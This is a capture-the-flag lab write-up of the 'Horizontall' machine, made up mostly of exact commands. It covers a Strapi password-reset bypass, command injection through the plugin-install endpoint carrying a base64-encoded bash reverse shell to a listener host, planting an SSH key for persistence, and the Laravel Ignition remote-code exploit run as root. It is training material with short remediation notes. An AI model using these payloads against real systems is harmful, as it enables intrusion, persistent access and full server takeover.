Horizontall
Summary
I discovered a hidden API subdomain behind the public nginx reverse proxy, fingerprinted it as an unpatched Strapi CMS beta, and exploited an unauthenticated password-reset flaw to seize admin credentials. Those credentials were then used to inject operating-system commands through the plugin-install endpoint, landing a shell on the server as the strapi service account.
I planted an SSH key for durable access, used SSH port-forwarding to reach an internal Laravel web application running in debug mode, and exploited the Ignition debug handler to execute arbitrary code as root — reading the root flag and achieving complete server compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Confirm open services and banner versions.
$ nmap -Pn -sV -p 22,80 $TARGETFuzz for virtual-host names; api-prod returns a distinct response size.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.horizontall.htb' -u http://$TARGET/ -mc all -ac -o /tmp/vhost_fuzz.jsonConfirm the API vhost responds independently of the main site.
$ curl -s -H 'Host: api-prod.horizontall.htb' http://$TARGET/ -IExact commands 2
Returns Strapi version and confirms admin setup is complete.
$ curl -s -H 'Host: api-prod.horizontall.htb' http://$TARGET/admin/init | python3 -m json.toolLocate public exploit references for this version.
$ searchsploit strapi 3.0.0Exact commands 3
Exploits the token-comparison bypass to reset the admin password without authentication.
$ curl -sS -X POST -H 'Host: api-prod.horizontall.htb' -H 'Content-Type: application/json' -d '{"code":{"$gt":0},"password":"'"$PASSWORD"'","passwordConfirmation":"'"$PASSWORD"'"}' http://$TARGET/admin/auth/reset-passwordAuthenticate as admin and capture the JWT in a local file.
$ curl -sS -H 'Host: api-prod.horizontall.htb' -H 'Content-Type: application/json' -d '{"identifier":"admin","password":"'"$PASSWORD"'"}' http://$TARGET/admin/auth/local | tee /tmp/horiz_strapi_login.jsonExtract the JWT into a shell variable for use in subsequent requests.
$ JWT=$(python3 -c 'import json;print(json.load(open("/tmp/horiz_strapi_login.json"))["jwt"])')FixUpgrade Strapi immediately and restrict the admin panel to trusted networksCritical
Exact commands 3
Base64-encode the reverse-shell one-liner; replace <LHOST> with my machine IP.
$ B64=$(printf '%s' 'bash -i >& /dev/tcp/<LHOST>/4444 0>&1' | base64 -w0)Start the listener on my machine before firing the next request.
$ nc -lvnp 4444Send the injection payload; the request will hang or time out — the reverse shell arrives on the listener regardless.
$ curl -sS -H "Authorization: Bearer $JWT" -H 'Content-Type: application/json' -X POST http://api-prod.horizontall.htb/admin/plugins/install -d "{\"plugin\":\"documentation && bash -c 'echo $B64|base64 -d|bash'\"}" --max-time 10Exact commands 3
Run inside the strapi reverse shell to plant my public key.
$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICIFMnlcoHIWGlCrBiIVivqin+aF9kx7j9VsxbMqqkpM kali@kali' >> /opt/strapi/.ssh/authorized_keysLog in from my machine using the planted key.
$ ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no strapi@$TARGETRead the user flag — value: <user.txt>.
$ cat ~/user.txtExact commands 2
Forward local port 8003 to the target's internal port 8000 in the background (-f -N).
$ ssh -i ~/.ssh/id_ed25519 -o StrictHostKeyChecking=no -f -N -L 8003:127.0.0.1:8000 strapi@$TARGETConfirm the Laravel/Ignition debug page is reachable over the tunnel; look for X-Powered-By: PHP and the Ignition response headers.
$ curl -sS -I http://127.0.0.1:8003/Exact commands 3
Make phpggc available in the working directory expected by the exploit script.
$ ln -s /usr/share/phpggc /tmp/ignition_horiz/phpggcVerify code execution — output should confirm the PHP process runs as root.
$ python3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8003 /home/developer/myproject/storage/logs/laravel.log 'id'Read the root flag — value: <root.txt>.
$ python3 /usr/share/exploitdb/exploits/php/webapps/49424.py http://127.0.0.1:8003 /home/developer/myproject/storage/logs/laravel.log 'cat /root/root.txt'FixDisable Laravel debug mode in production and run the PHP process as a non-privileged userCritical
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http nginx 1.14.0 (Ubuntu) |